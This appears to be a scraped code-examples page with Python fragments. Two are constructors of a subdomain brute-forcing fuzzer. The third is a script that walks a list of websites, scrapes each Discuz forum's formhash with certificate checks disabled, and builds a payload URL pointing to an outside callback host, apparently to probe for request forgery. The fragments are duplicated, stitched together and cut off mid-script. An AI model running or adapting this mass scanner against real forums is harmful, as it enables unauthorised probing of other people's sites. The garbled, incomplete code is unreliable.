def __init__(self, target, dict_file='domain.csv'):
     super(DomainFuzzer, self).__init__()
     self.target = target
     self.dict = FileUtils.getLines(dict_file)
     self.nameservers = [
                 '114.114.114.114',
                 '119.29.29.29',
                 '223.5.5.5',
                 '8.8.8.8',
                 '182.254.116.116',
                 '223.6.6.6',
                 '8.8.4.4',
                 '180.76.76.76',
                 '216.146.35.35',
                 '123.125.81.6',
                 '218.30.118.6',]
     self.resolver = Domain(self.nameservers, timeout=5)
Ejemplo n.º 2
0
 def __init__(self, target, dict_file='domain.csv', timeout=5):
     self.target = target
     self.dict = FileUtils.getLines(dict_file)
     self.resolver = Domain(timeout=timeout)
Ejemplo n.º 3
0
import random

import time

import re

import requests

from utils.fileutils import FileUtils

import requests.packages.urllib3

requests.packages.urllib3.disable_warnings()

for website in FileUtils.getLines('qqdz.lst'):

    request = requests.session()

    try:

        forumurl = "{website}/forum.php".format(website=website)

        response = request.get(forumurl, timeout=5, verify=False)

        formhash = re.findall(r'formhash" value="(.*?)"', response.content)

        netloc = urlparse.urlparse(website).netloc

        payload = 'http://fuzz.wuyun.com/404.php?s={netloc}.jpg'.format(
            netloc=netloc)


import requests

from utils.fileutils import FileUtils



import requests.packages.urllib3

requests.packages.urllib3.disable_warnings()



for website in FileUtils.getLines('qqdz.lst'):

    request = requests.session()

    try:

        forumurl = "{website}/forum.php".format(website=website)

        response = request.get(forumurl, timeout=5, verify=False)

        formhash = re.findall(r'formhash" value="(.*?)"',response.content)

        netloc = urlparse.urlparse(website).netloc

        payload = 'http://fuzz.wuyun.com/404.php?s={netloc}.jpg'.format(netloc=netloc)